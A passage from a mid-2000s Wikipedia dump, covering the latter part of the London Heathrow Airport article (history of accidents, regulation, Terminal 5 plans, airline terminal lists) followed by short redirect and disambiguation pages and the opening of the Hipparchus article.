On [[8 April]] [[1968]], [[BOAC]] Boeing 707 G-ARWE, flying to Australia via Singapore, had an engine fire just after take-off. The engine fell from the wing into the nearby Queen Mother reservoir at [[Datchet]], but the plane managed to perform an emergency landing with the wing on fire. The plane burnt out on the ground &amp;mdash; five people, 4 passengers and a stewardess, died; 122 survived.

On [[18 June]] [[1972]], [[British European Airways]] Flight BE548, flying London Heathrow &amp;mdash; Brussels, crashed some 2 1/2 minutes after take off into a field near [[Staines]]. All 109 passengers and nine crew on the [[Hawker-Siddeley Trident]]-1C were killed in the [[Staines air disaster]] [http://www.super70s.com/Super70s/Tech/Aviation/Disasters/72-06-18(Trident).asp].

On [[23 June]], [[1985]], [[Air India Flight 182]], flying [[Montréal-Mirabel International Airport|Montreal]]-London-[[Indira Gandhi International Airport|Delhi]]-[[Chatrapati Shivaji International Airport|Mumbai]], exploded in midair over the [[Atlantic Ocean]] west of the [[Republic of Ireland]], killing all on board.

On [[21 December]] [[1988]], [[Pan Am Flight 103]], [[Frankfurt International Airport|Frankfurt]] &amp;mdash; London Heathrow &amp;mdash; [[John F. Kennedy International Airport|New York]] &amp;mdash; [[Detroit Metropolitan Wayne County Airport|Detroit]], was destroyed in mid-air over [[Lockerbie]] in southern [[Scotland]] by a bomb, killing all on board and several on the ground.

==Heathrow today==
Heathrow at present has four passenger terminals (numbered 1 to 4) and a cargo terminal. Permission for a fifth passenger terminal (Terminal 5) was granted in November [[2001]], and construction is now well under way.

As originally constructed, Heathrow had six runways, arranged in three pairs at different angles, with the passenger terminal in the centre. With growth in the required length for runways, Heathrow presently has just two parallel runways running east-west. Runway 23, a short runway for use in strong South-Westerly winds, was recently decommissioned and now forms part of taxiway A. The [[Department for Transport]] has issued a 'consultation document' in which one option is the construction of a third parallel east-west runway for frequent use, involving the demolition of local residential areas.

Overnight flights into Heathrow are currently restricted by [[government]] order, with preference for quieter airliners, but could be eliminated entirely if the government loses its appeal against a recent judgement by the [[European Court of Human Rights]].



The airport has been owned and operated by BAA since before its privatisation in [[1987]]. In order to prevent [[monopoly]] profits, the amount BAA is allowed to charge airlines to land aeroplanes at Heathrow is heavily regulated by the [[United Kingdom Civil Aviation Authority|Civil Aviation Authority]]. Until [[1 April]] [[2003]], the annual increase of the cost of landing per passenger was capped at [[inflation]] minus 3%. This has meant that landing charges have been falling in absolute terms. The average landing cost per passenger in April 2003 was £6.13, similar to landing charges at [[Gatwick]] and [[London Stansted Airport|Stansted]]. In order to reflect the fact that Heathrow, as an international hub, is more popular with passengers and airlines, the CAA agreed that BAA will be allowed to increase landing charges at Heathrow by inflation plus 6.5% per year for the next five years. When Terminal 5 opens in 2008, landing charges are expected to be £8.23 per passenger. Landing fee restrictions at Gatwick and Stansted will remain tighter. 

Whilst the cost of a landing slot is determined by the CAA and BAA, the allocation of landing slots at Heathrow to airlines is carried out by Airport Co-ordination Limited (ACL). ACL is an independent non-profit organisation whose slot allocation programme is governed by British and European law and [[IATA]] Worldwide Scheduling Guidelines. ACL is funded by ten British airlines, [[tourism]] operators and BAA, which pay the ACL a fee for providing scheduling information. The apparent conflict between the need to provide an independent slot allocation service and serving the interests of the funding airlines is waved away by ACL, who state that: 

''No member airline receives direct benefit, in terms of preferential treatment in slot allocation decisions made by ACL. All airlines are treated the same, in accordance with UK and European Slot Regulations which ensure that decisions made by ACL are made in a 'neutral, transparent and non-discriminatory' way. Members believe that it is reasonable for them to contribute to the cost of slot allocation in the UK, since the cost of the coordination task in other countries is borne by their Governments or national carriers. Contributing to the cost of ACL avoids the need for Government intervention of control of slot allocation and ensures that all the airlines receive a high quality coordination service. Any airline may apply to join ACL, and the Company is pro-active in seeking to expand its membership base. [http://www.acl-uk.org/general/faqs.htm]''

There have been calls for the slot allocation process to be made a [[free market]] at Heathrow and elsewhere. (See e.g. Centre for Land Policy Studies [http://www.landpolicy.co.uk/pdf/Ei14.pdf]). See also [http://www.tutor2u.net/Case_Study_European_Airlines.pdf] for an account of the economics of the European Airline market.

In addition, air traffic between Heathrow and the [[United States]] is strictly governed by the countries' bilateral [[Bermuda II]] treaty. The treaty originally allowed only [[British Airways]], [[Pan American World Airways|Pan Am]], and [[TWA]] to fly from Heathrow to the US. In [[1991]] PAA and TWA sold their rights to [[United Airlines]] and [[American Airlines]] respectively, and [[Virgin Atlantic Airways]] was added to the list of airlines allowed to operate on these routes. In [[2002]], American Airlines and British Airways announced plans to coordinate the scheduling of their trans-Atlantic routes but plans were dropped after the United States Department of Transportation made approval conditional on the granting of further access slots to Heathrow to other US airlines. AA and BA considered the slots too valuable and dropped the plans. [http://money.cnn.com/2002/01/25/news/amr_ba/] The Bermuda bilateral agreement conflicts with the Right of Establishment of the United Kingdom in terms of its membership in the [[EU]], and as a consequence the UK was ordered to drop the agreement by about 2004.

Construction is also almost complete on the extension of pier 6 at Terminal 3.  The pier has been designed specifically to allow the new [[Airbus]] [[A380]] to terminate at that terminal, the first [[A380]]'s are due to start arriving at Heathrow by the end of 2006.

== Access and parking ==

Public transport links are good with connections from three stations on the [[London Underground]] [[Piccadilly Line]] ([[Heathrow Terminals 1,2,3 tube station|Terminals 1-3]], [[Heathrow Terminal 4 tube station|Terminal 4]] and [[Hatton Cross tube station|Hatton Cross]]), and two on the [[Heathrow Express]] line (which is considerably quicker and more expensive; [[As of 2003|as of February 2003]] trains leave every 15 minutes for a 15-minute journey costing £13&amp;ndash;£15) directly to London's [[Paddington station]]. Heathrow Terminal 4 station is expected to be closed until September [[2006]] due to the Terminal 5 construction work.

Heathrow is accessible via the nearby [[M4 motorway]] (terminals 1&amp;ndash;3) and [[M25 motorway]] (terminals 4 and 5). There are drop off and pick up areas at all terminals and short and long stay multi-storey car parks. Additionally, there are car parks not run by BAA lying just outside the airport claiming to offer cheaper parking. Very often, these are connected to the terminals by shuttle buses.

Tunnels connect various parts of the Airport. The [[Heathrow Cargo Tunnel]] connects Terminals 1, 2 and 3 to Terminal 4 as well as to Perimeter Road. [[Heathrow Airside Road Tunnel]] will connect Terminals 1, 2 and 3 to Terminal 5 when it is opened.

==Busiest airport claims==

Heathrow is the world's [[World's busiest airport|third-busiest airport]] by total passenger traffic, after [[Hartsfield-Jackson Atlanta International Airport|Atlanta/Hartsfield-Jackson]] and [[O'Hare International Airport|Chicago/O'Hare]] in the [[United States]].  However, due to the majority of the formers' traffic being domestic and latter's large number of foreign connecting flights, Heathrow has become the world's busiest international airport, and is regarded as the hub of the aviation world. [http://www.heathrowairport.com/portal/site/default/menuitem.cd3561d9b59d462588a5e186c02865a0/;jsessionid=DNAfOXj7g3r3fk1j9NlWANpydf0hhlQvi8LcmzuRluuyU0u2FTlo!-949195938]

In [[2004]] Heathrow was the busiest airport in [[Europe]] in terms of total passenger traffic (31.5% more passengers than at Paris [[Charles de Gaulle Airport]] or [[Frankfurt International Airport]]), and was third behind Charles de Gaulle and Frankfurt in terms of plane movements (9.5% fewer planes than at Charles de Gaulle, and 0.3% fewer planes than at Frankfurt). The airport was also third in terms of cargo traffic (24.8% less cargo than at Charles de Gaulle and 23.2% less than at Frankfurt). 

In 2005 total passenger numbers rose 0.9% to 67.7 million. [http://www.caa.co.uk/docs/80/airport_data_prov/200512/December_2005_Provisional_Airport_Statistics.pdf] This low rate of growth reflects the fact that in advance of the completion of Terminal 5, growth in the London flights market is necessarily concentrated at London's other airports.

==Heathrow's landing patterns==
''Main article: [[Bovingdon stack]]''

Bovingdon stack is the holding area to the north-west of London where some inbound planes are held in a racetrack pattern, generally between 8,000 and 15,000 feet. Other holds serving Heathrow are at Lambourne in [[Essex]], Biggin Hill in [[Bromley]] and Ockham in [[Surrey]]. These lie respectively to the north-east, south-east and south-west of London's built-up area. While in such a [[hold_(aviation)|holding pattern]], an airliner will typically range up to about six nautical miles (11 km) from the reference radio beacon, and will fly in a standardised published direction across that fixed beacon prior to commencing the next circuit at a flight level given by [[air traffic control]]. 

Extreme skill is required to harmonise the aircraft departing from the four holds in terms of speed, and to guide their pilots through concise radio instructions, onto the [[glidepath]] to a single runway at suitable and safe intervals, typically no less than two-and-a-half nautical miles (5 km). The parallel runway is normally assigned to departing aircraft. To reduce noise nuisance to people beneath the glideslope or departure routes, the role of each runway is normally alternated at a set time each day when the wind is from the west. Conventionally at Heathrow this runway alternation time is 1500 local time. When easterly landings are in progress there is no alternation; 09L remains the landing runway and 09R the departure runway, although, at quiet times, some landings are allowed onto 09R for those aircraft wishing to go to Terminal 4.

''See also [[Cranford protocol]].''

==Construction of Terminal 5==
On [[20 November]] [[2001]] transport minister [[Stephen Byers]] announced the British Government's decision to grant planning permission for the building of a fifth passenger terminal at Heathrow. The new terminal is being constructed within the current boundary of the airport, on its western side. It is due to open in [[2008]] and is expected to be fully operational by [[2015]]. When it is completed Heathrow will be able to handle up to 90 million passengers a year, up from its current limit of 65 million.

The granting of planning permission followed the longest public inquiry in British history, lasting nearly four years. BAA had made an initial application in 1993. The key factors considered by the inquiry panel were 

*The economic case for expansion
*Developmental pressures/regional planning
*Land use policy
*Surface access
*[[Noise]]
*[[Air quality]]
*Public safety
*Construction

BAA's application was vociferously supported by airlines flying out of Heathrow, in particular [[British Airways]] and [[Bmi (airline)|bmi]]. Wider interest business groups and trade unions supporting the proposal included the British Chamber of Commerce, the London Tourist Board, the Confederation of British Industry and the Transport and General Workers' Union. Supporters claim that further expansion of the airport is necessary to maintain Heathrow's current position as the pre-eminent hub in European aviation, ahead of other large airports such as [[Schiphol airport|Schiphol]], [[Charles de Gaulle airport|Charles de Gaulle]], and [[Frankfurt airport|Frankfurt]].

Those opposing the plan cite [[natural environment|environmental]] problems such as increased [[traffic congestion]], air pollution and noise. They included [[Friends of the Earth]] and 11 London borough councils, including the [[London Borough of Hillingdon]] in which Heathrow is situated.

The transport network around Heathrow is being extended to cope with increased number of passengers. A spur motorway will run from the [[M25 motorway|M25]] between junctions 14 and 15 to the new terminal. New branches of both the [[Heathrow Express]] and the [[London Underground|Underground]]'s [[Piccadilly Line]] will serve a new shared [[Heathrow Terminal 5 station]], which will also have space for a third pair of tracks for future additional services.

==Future of Heathrow==
The major airlines at Heathrow, in particular [[British Airways]], have long advocated a third full-length runway at Heathrow. Those opposing Terminal 5 similarly oppose a third runway. On [[14 December]] [[2003]] [[Transport Secretary]] [[Alistair Darling]] released a [[white paper]] (available from [http://www.dft.gov.uk/aviation/whitepaper/]) on the future of aviation in the UK. A key proposal of the paper was that a third runway would be built at Heathrow by 2020, provided that its owners meet targets on environmental issues such as aircraft noise, [[traffic congestion]] and [[pollution]]. It would involve the loss of [[Sipson]] and much of [[Harmondsworth]], including the [[church]] and [[Tithe barn|tithe barn]].

A sixth terminal would be likely to accompany the new runway. The total capacity would be increased to 115 million passengers per year. At this stage firm locations and timetables have not been determined.

When T5 is handed over to BAA in March 2008 over £4bn will have been spent and 20,000 people will have worked on the project. Work will continue on the second of two satellite terminals or concourses, which will be linked to the main terminal by an underground tracked transit system (TTS). In 2005, T5 is the largest construction project in Europe &amp;mdash; expenditure will peak in mid 2005 at £12m per week. None of the cost comes from the taxpayer. As well as the terminal buildings there are other developments under construction as part of the T5 project, including a multi-storey car park, a hotel, an energy centre, road tunnels, tunnelled extensions to the [[Piccadilly Line]] and [[Heathrow Express]] and a spur from the [[M25 motorway|M25]].

The terminal buildings have been designed by [[Richard Rogers|Richard Rogers Partnership]] and the lead project architects are Pascall + Watson, who specialise in airports and transport facilities. The four storeys of the main terminal building (Concourse A) are covered by a single-span undulating steel frame roof, stretching 90 m from east to west. Departing passengers will enter Departures level (on the 3rd floor) after taking one of the lifts or escalators from the interchange plaza. Upon entering the Departures concourse, passengers will see views across the Heathrow area and be in a space that is unobstructed to the rising roof above. After check-in and ticket presentation, the airside lounges will provide views across the tarmac and the runways beyond. There will be an abundance of retail outlets.

T5 will have dedicated aircraft stands for the new [[Airbus A380]] in the first satellite terminal (Concourse B), which opens alongside the main terminal.

===Re-organised Terminal Format===
When Terminal 5 opens in [[2008]], Heathrow's terminal system will undergo major changes in order to simplify and streamline the transfer process for passengers.  The planned format[http://baa.com/assets/B2CPortal/Static%20Files/Nov05HeathrowEastpresentation.pdf] come 2008 is:

*[[British Airways]] will move its entire operation to Terminal 5
*The [[Skyteam]] Alliance, and non-aligned airlines will move into Terminal 4
*Terminal 3 will become the centre for the remaining [[oneworld]] alliance members as well as [[Virgin Atlantic]]
*Terminal 1 will be used by the [[Star Alliance]] partnership

The [[Heathrow East]] scheme, if approved, will see Terminal 2 and the Queen's Building offices demolished and replaced by a new larger terminal with up to 30 million capacity. Work is planned to start in [[2009]] and to be completed by [[2012]], in time for the [[2012 Summer Olympics|London Olympics]]. When completed, the new terminal layout is likely to be:

Terminal 1 - [[Star Alliance]] and [[Virgin Atlantic]], Terminal 3 - [[oneworld]] alliance, Terminal 4 - [[skyteam]] and non-aligned airlines, and Terminal 5 - [[British Airways]]

==Heathrow in culture==
The airport is a regular backdrop for movies. In 2003 it was particularly visible in the [[Richard Curtis]] [[romantic comedy]] ''[[Love Actually]]''. A secret camera installed at the arrivals hall at Terminal 4 captured the reunions between people coming off planes and those meeting them. Snippets of some of the more expressive greetings were played at the beginning and end of the movie. Heathrow is also the set of the BBC/Discovery show [[Airport (television show)|Airport]].

A more surprising appearance of the airport was in the [[1964]] movie [[Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb|Dr. Strangelove]]. General Ripper's office at the fictitious Burpelson [[United States Air Force|Air Force Base]] is decorated with a large aerial photo, presumably of the base; but in fact this is Heathrow Airport, in its old 6-runway configuration.

The 2003 [[BBC]] Docu-Drama [[The Day Britain Stopped]] focused on how a poorly maintained transport infrastructure could cause major disaster, culminating in a major aircraft collision at Heathrow.

==Base Terminals of Airlines==

The current terminal system at Heathrow sees [[British Airways]] having operations in Terminals 1, 3 and 4, and does little to align airline partnerships within terminal buildings.  This should change once T5 is opened (as detailed above).

===Terminal 1===
* [[Aer Lingus]] (Cork, Dublin, Shannon)
* [[Air Sahara]] (Delhi)
* [[Air Seychelles]] (Seychelles)
* [[Bmi (airline)|bmi]] (Aberdeen, Ajaccio, Alicante, Amsterdam, Belfast City, Brussels, Cagliari, Catania, Corfu, Dublin, Durham Tees Valley, Edinburgh, Geneva, Glasgow, Hanover, Inverness, Kefalhnia, Leeds/Bradford, Madrid, Manchester (UK), Milan-Linate, Mumbai, Naples, Nice, Palermo, Palma de Mallorca, Paris-CDG, Riyadh, Tenerife, Venice)
* [[British Airways]] (Aberdeen, Barcelona, Belgrade, Berlin-Tegel, Bucharest, Budapest, Cologne/Bonn, Dusseldorf, Edinburgh, Frankfurt, Glasgow, Hamburg, Helsinki, Hong Kong, Istanbul, Johannesburg, Kiev, Larnaca, Lisbon, Los Angeles, Madrid, Manchester (UK), Milan-Linate, Milan-Malpensa, Moscow-Domododevo, Munich, Newcastle, Nice, Prague, Munich, Rome-Fiumicino, St. Petersburg (RU), San Francisco, Sofia, Stockholm-Arlanda, Stuttgart, Tripoli, Tokyo-Narita, Warsaw)
** [[GB Airways]] (Casablanca, Gibraltar, Málaga, Marrakech, Tangiers)
* [[Cyprus Airways]] (Larnaca)
* [[EL AL]] (Tel Aviv)
* [[Finnair]] (Helsinki)
* [[LOT Polish Airlines]] (Warsaw)
* [[South African Airways]] (Cape Town, Johannesburg)
* [[Sundor]] (Tel Aviv)

===Terminal 2===
* [[Aeroflot]] (Moscow-Sheremetyevo, Tokyo-Narita)
* [[Air Algerie]] (Algiers)
* [[Air Astana]] (Almaty)
* [[Air France]] (Lyon, Paris-Charles de Gaulle)
* [[Alitalia]] (Milan-Linate, Milan-Malpensa, Rome-Fiumicino)
* [[Austrian Airlines]] (Vienna)
* [[Bellview Airlines (Sierra Leone)|Bellview Airlines]] (Freetown)
* [[Bmi (airline)|bmi]] (Hanover)
* [[China Eastern Airlines]] (Shanghai-Pudong)
* [[Croatia Airlines]] (Rijeka, Split, Zagreb)
* [[CSA Czech Airlines]] (Prague)
* [[Helios Airways]] (Larnaca)
* [[Iberia Airlines|Iberia]] (Barcelona, Bilbao, Madrid, Málaga, Santiago de Compostela, Seville, Valencia)
* [[Icelandair]] (Keflavik)
* [[Jat Airways]] (Belgrade, Tivat)
* [[Libyan Arab Airlines]] (Benghazi, Tripoli)
* [[Lufthansa]] (Cologne/Bonn, Düsseldorf, Frankfurt, Hamburg, Munich, Stuttgart)
* [[Luxair]] (Luxembourg)
* [[Malév Hungarian Airlines]] (Budapest)
* [[Olympic Airlines]] (Athens)
* [[Pulkovo Aviation Enterprise]] (St. Petersburg (RU))
* [[Royal Air Maroc]] (Casablanca, Marrakesh, Tangiers)
* [[Swiss International Airlines]] (Sion, Zürich)
* [[Syrian Arab Airlines]] (Damascus) 
* [[TAP Portugal]] (Faro, Funchal, Lisbon, Porto)
* [[Tarom|TAROM]] (Bucharest)
* [[Tunisair]] (Tunis)
* [[Uzbekistan Airways]] (Tashkent)
* [[Yemenia]] (Sanaa)

===Terminal 3===
[[Image:LHR Terminal 3 waiting area.jpg|thumb|right|330px|Terminal 3 has a large centralized waiting/shopping area]]
* [[Air Baltic]] (Riga)
* [[Air Canada]] (Calgary, Halifax, Montréal, Ottawa, St. John's, Toronto, Vancouver)
* [[Air China]] (Beijing)
* [[Air India]] (Ahmedabad, Chicago-O'Hare, Delhi, Kolkata, Mumbai, New York-JFK)
* [[Air Jamaica]] (Kingston, Montego Bay)
* [[Air Mauritius]] (Mauritius)
* [[Air New Zealand]] (Auckland, Los Angeles)
* [[All Nippon Airways]] (Tokyo-Narita)
* [[American Airlines]] (Boston, Chicago-O'Hare, Los Angeles, Miami, New York-JFK)
* [[Biman Bangladesh]] (Dhaka, Dubai)
* [[British Airways]] (Miami)
* [[British West Indian Airways]] (Antigua, Bridgetown Barbados, St Lucia, Port of Spain)
* [[Cathay Pacific]] (Hong Kong)
* [[Egyptair]] (Cairo, Luxor)
* [[Emirates]] (Dubai)
* [[Etihad]] (Abu Dhabi)
* [[Ethiopian Airlines]] (Addis Ababa)
* [[EVA Air]] (Bangkok, Taipei-Chiang Kai Shek)
* [[Gulf Air]] (Abu Dhabi, Bahrain, Muscat)
* [[Iran Air]] (Tehran)
* [[Japan Air Lines]] (Osaka-Kansai, Tokyo-Narita)
* [[Jet Airways]] (Mumbai, Delhi)
* [[Kıbrıs Türk Hava Yolları]] (Izmir)
* [[Korean Air]] (Seoul-Incheon)
* [[Kuwait Airways]] (Kuwait, New York-JFK)
* [[Malaysia Airlines]] (Kuala Lumpur, Langkawi, Penang)
* [[Middle East Airlines Liban]] (Beirut)
* [[Pakistan International Airlines]] (Islamabad, Karachi, Lahore)
* [[Qatar Airways]] (Doha)
* [[Royal Brunei]] (Bandar Seri Begawan)
* [[Royal Jordanian]] (Amman, Agada)
* [[Scandinavian Airlines System|SAS]] (Copenhagen, Gothenburg-Landvetter, Oslo, Stavanger, Stockholm-Arlanda) 
* [[Saudi Arabian Airlines]] (Jeddah, Riyadh)
* [[Singapore Airlines]] (Singapore)
* [[Thai Airways International]] (Bangkok)
* [[Turkish Airlines]] (Antalya, Istanbul, Izmir)
* [[Turkmenistan Airlines]] (Ashkhabad)
* [[United Airlines]] (Chicago-O'Hare, Denver, Los Angeles, New York-JFK, San Francisco, Washington-Dulles)
* [[Varig]] (Copenhagen, São Paulo-Guarulhos)
* [[Virgin Atlantic Airways]] (Boston, Cape Town, Delhi, Dubai (Starting on: [[27 March]] [[2006]]), Hong Kong, Johannesburg, Kuala Lumpur, Lagos, Los Angeles, Miami, Mumbai, New York-JFK, Newark, San Francisco, Shanghai-Pudong, Singapore, Sydney, Tokyo-Narita, Washington-Dulles)

===Terminal 4===
* [[Air Malta]] (Luqa/Gudja)
* [[Asiana Airlines]] (Seoul-Incheon)
* [[British Airways]] (Abu Dhabi, Abuja, Accra, Amsterdam, Athens, Bahrain, Baltimore/Washington, Bangalore,Bangkok, Basel, Beijing, Boston, Brussels, Buenos Aires-Ezeiza, Cairo, Cape Town, Chennai, Chicago-O'Hare, Copenhagen, Dacca, Dar es Salaam, Delhi, Denver, Detroit, Doha, Dubai, Entebbe, Geneva, Grand Cayman, Harare, Houston-Intercontinental, Islamabad, Jeddah, Kolkata, Kuwait, Lagos, Lilongwe, Luanda, Lusaka, Lyon, Mauritius, Melbourne, Mexico City, Montréal, Mumbai, Muscat, Nairobi, Nassau, Newark, New York-JFK, Oslo, Paris-Charles de Gaulle, Philadelphia, Phoenix, Providenciales, Riga, Rio de Janeiro-Galeão, Riyadh, São Paulo-Guarulhos, Seattle/Tacoma, Seychelles, Shanghai, Singapore, Sydney, Tel Aviv, Toronto, Vancouver, Vienna, Washington-Dulles, Zürich)
** [[British Mediterranean Airways]] (Addis Ababa, Aleppo, Alexandria, Almaty, Amman, Ankara, Baku, Beirut, Bishkek, Damascus, Ekaterinburg, Khartoum, Tashkent, Tbilisi, Tehran, Yerevan)
* [[Kenya Airways]] (Nairobi)
* [[KLM]] (Amsterdam, Eindhoven, Rotterdam)
* [[Qantas]] (Bangkok, Hong Kong, Melbourne, Perth, Singapore, Sydney)
* [[SN Brussels Airlines]] (Brussels)
* [[SriLankan]] (Colombo, Male)

===Terminal 5===
Terminal 5 is under construction, and is scheduled for completion in [[2008]]. It will be used by [[British Airways]].

==External links==
{{commons|Category:London Heathrow Airport}}
* [http://www.heathrowairport.com/ Heathrow Airport official website]
* [http://www.baa.com BAA plc] - company that owns Heathrow
* [http://www.aviation.dft.gov.uk/index.htm Department for Transport - Aviation]
* [http://www.hacan.org.uk Heathrow Association for the Control of Aircraft Noise (HACAN Clearskies)]
* [http://news.bbc.co.uk/1/hi/england/london/3324701.stm BBC News report on the go-ahead for the third runway]
* [http://maps.google.com/maps?ll=51.469402,-0.454559&amp;spn=0.078441,0.120352&amp;t=k Heathrow Airport at Google Maps]
{{UKAirports}}

[[Category:Airports in England]]
[[Category:Airports of the London region]]
[[Category:Hillingdon|Heathrow]]
[[Category:Public inquiries]]

[[cs:Letiště Heathrow]]
[[de:Flughafen London-Heathrow]]
[[es:Aeropuerto Heathrow de Londres]]
[[fa:فرودگاه هیث‌رو]]
[[fr:Aéroport de Londres Heathrow]]
[[id:Bandara London Heathrow]]
[[he:לונדון הית'רו]]
[[nl:Heathrow]]
[[ja:ロンドン・ヒースロー空港]]
[[no:London Heathrow Airport]]
[[pt:Aeroporto de Heathrow]]
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[[sv:London Heathrow Airport]]
[[zh:倫敦希斯路機場]]</text>
    </revision>
  </page>
  <page>
    <title>Heat Film</title>
    <id>13596</id>
    <revision>
      <id>24821126</id>
      <timestamp>2005-10-05T16:27:37Z</timestamp>
      <contributor>
        <username>Reedy Boy</username>
        <id>449918</id>
      </contributor>
      <minor />
      <comment>updated redirect</comment>
      <text xml:space="preserve">#redirect [[Heat (film)]]</text>
    </revision>
  </page>
  <page>
    <title>Hypercomplex numbers</title>
    <id>13597</id>
    <revision>
      <id>15911194</id>
      <timestamp>2002-05-05T16:15:03Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Hypercomplex number]]</comment>
      <text xml:space="preserve">#redirect [[Hypercomplex number]]
</text>
    </revision>
  </page>
  <page>
    <title>HPV</title>
    <id>13598</id>
    <revision>
      <id>34037411</id>
      <timestamp>2006-01-05T23:32:50Z</timestamp>
      <contributor>
        <ip>24.3.182.214</ip>
      </contributor>
      <text xml:space="preserve">'''HPV''' is an [[initialism]] that can mean :
* [[Human Powered Vehicle]]
* [[Human papillomavirus]] a virus which causes warts, including, but not limited to genital warts, a type of [[Sexually Transmitted Disease|STD]]
* [[High Production Volume Chemicals]]
* [[Health Purchasing Victoria]]
* [[Hypoxic Pulmonary Vasoconstriction]], a physiological phenomenon of the lungs

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Hipparchus (astronomer)</title>
    <id>13600</id>
    <revision>
      <id>42065757</id>
      <timestamp>2006-03-03T15:58:36Z</timestamp>
      <contributor>
        <username>Pmanderson</username>
        <id>64669</id>
      </contributor>
      <minor />
      <comment>oops</comment>
      <text xml:space="preserve">'''Hipparchus''' ([[Greek language|Greek]] {{polytonic|&amp;#7995;ππαρχος}}) (ca. [[190 BC]] &amp;ndash; ca. [[120 BC]]) was a [[Hellenistic]] [[astronomer]], [[geographer]], and [[mathematician]].

Hipparchus was born in [[Nicaea]] (now Iznik, [[Turkey]]), and probably died on the island of [[Rhodes]]. He is known to have been active at least from [[147 BC]] to [[127 BC]]. Hipparchus is considered the greatest astronomical observer, and by some the greatest astronomer of [[classical antiquity|antiquity]]. He was the first Hellenistic to develop quantitative and accurate models for the motion of the [[Sun]] and [[Moon]]. For this he made use of the observations and knowledge accumulated over centuries by the [[Chaldea]]ns from [[Babylonia]]. He was also the first to compile a [[trigonometry|trigonometric]] table, which allowed him to solve any triangle. With his solar and lunar theories and his numerical trigonometry, he was probably the first to develop a reliable method to predict [[solar eclipse]]s. His other achievements include the discovery of [[precession]], the compilation of the first [[star catalogue]] of the western world, and probably the invention of the [[astrolabe]]. [[Ptolemy|Claudius Ptolemaeus]], three centuries later depended much on Hipparchus. However, his synthesis of astronomy superseded Hipparchus's work: although Hipparchus wrote at least fourteen books, only his commentary on the popular astronomical poem by [[Aratus]] has been preserved by later copyists. As a consequence, we know comparatively little about Hipparchus.

&lt;!-- Image with unknown copyright status removed: [[image:Hippachus 000A.jpg|thumb|right|213px|Hipparchus studies the heavens]] --&gt;

== Life and work ==
Most of what is known about Hipparchus comes from [[Ptolemy]]'s ([[2nd century]]) ''[[Almagest]]'' (&quot;the great treatise&quot;; ed. [Toomer 1981]), with additional references to him by [[Pappus of Alexandria]] and [[Theon of Alexandria]] ([[4th century]]) in their commentaries on the ''Almagest''; from [[Strabo]]'s ''Geographia'' (&quot;Geography&quot;), and from [[Pliny the Elder]]'s ''[[Pliny's Natural History|Naturalis historia]]'' (&quot;Natural history&quot;) ([[1st century]]).  

There is a strong tradition that Hipparchus was born in [[Nicaea]] (Greek ''Νικαία''), in the ancient district of [[Bithynia]] (modern-day [[İznik, Turkey|İznik]] in province [[Bursa Province|Bursa]]), in what today is [[Turkey]].

The exact dates of his life are not known, but Ptolemy attributes astronomical observations to him from [[147 BC]] to [[127 BC]]; earlier observations since [[162 BC]] might also be made by him. The date of his birth (ca. [[190 BC]]) was calculated by [[Jean Baptiste Joseph Delambre|Delambre]] based on clues in his work. Hipparchus must have lived some time after 127 BC because he analyzed and published his latest observations. Hipparchus obtained information from [[Alexandria]] as well as [[Babylon]], but it is not known if and when he visited these places.

It is not known what Hipparchus' economic means were and how he supported his scientific activities. Also, his appearance is unknown: there are no contemporary portraits.In the 2nd and 3rd centuries [[coin]]s were made in his honour in Bithynia that bear his name and show him with a [[globe]]; this confirms the tradition that he was born there.

Hipparchus is believed to have died on the island of [[Rhodes]], where he spent most of his later life &amp;mdash; Ptolemy attributes observations to him from Rhodes in the period from [[141 BC]] to [[127 BC]].

Hipparchus's main original works are lost.  His only preserved work is ''Toon Aratou kai Eudoxou Fainomenoon exegesis'' (&quot;Commentary on the Phaenomena of Eudoxus and Aratus&quot;). This is a critical commentary in two books on a popular [[poem]] by [[Aratus]] based on the work by [[Eudoxus of Cnidus|Eudoxus]]. It was published by [[Karl Manitius]] (''In Arati et Eudoxi Phaenomena'', Leipzig, 1894). Hipparchus also made a list of his major works, which apparently mentioned about fourteen books, but which is only known from references by later authors. His famous star catalogue probably was incorporated into the one by Ptolemy, but cannot be reliably reconstructed.  We know he made a [[celestial globe]]; a copy of a copy may have been preserved in the oldest surviving celestial globe accurately depicting the constellations: the globe carried by the [[Farnese Atlas]] [Schaefer 2005].

Hipparchus is recognized as the originator and father of scientific [[astronomy]]. He is believed to be the greatest Hellenistic astronomical observer, and many regard him as the greatest astronomer of ancient times, although [[Cicero]] gave preferences to [[Aristarchus of Samos]]. Some put in this place also Ptolemy of Alexandria.  Hipparchus' writings had been mostly superseded by those of Ptolemy, so later copyists have not preserved them for posterity.

There is evidence, based on references in non-scientific writers such as Plutarch, that Hipparchus was aware of some physical ideas that we consider Newtonian, and that Newton knew this.  (See Lucio Russo, ''The Forgotten Revolution'', Springer, 2004; Italian edition, 1996.)

Also see the biographical articles by [Toomer 1978] and [Jones 2001].

== Babylonian sources ==
Many of the works of Greek scientists - mathematicians, astronomers, geographers - have been preserved up to the present time, or some aspects of their work and thought are still known through later references. However, achievements in these fields by [[ancient Near East]]ern civilizations, notably those in [[Babylonia]], had been forgotten. After the discovery of the archaeological sites in the [[19th century]], many writings on clay tablets have been found, some of them related to astronomy. Most known astronomical tablets have been described by [[A. Sachs]], and later published by [[Otto Neugebauer]] in &quot;Astronomical Cuneiform Texts&quot; (3 vol.; Princeton and London, 1955).

Since the rediscovery of the Babylonian civilization, it has become apparent that Greek and Hellenistic astronomers, and in particular Hipparchus, borrowed a lot from the [[Chaldea]]ns.

[[Franz Xaver Kugler|F.X. Kugler]] demonstrated in his book ''Die Babylonische Mondrechnung'' (&quot;The Babylonian lunar computation&quot;, Freiburg im Breisgau, 1900) the following: Ptolemy had stated in his ''Almagest'' IV.2 that Hipparchus improved the values for the Moon's periods known to him from &quot;even more ancient astronomers&quot; by comparing eclipse observations made earlier by &quot;the Chaldeans&quot;, and by himself. However Kugler found that the periods that Ptolemy attributes to Hipparchus had already been used in Babylonian [[ephemerides]], specifically the collection of texts nowadays called &quot;System B&quot; (sometimes attributed to [[Kidinnu]]). Apparently Hipparchus only confirmed the validity of the periods he learned from the Chaldeans by his newer observations.

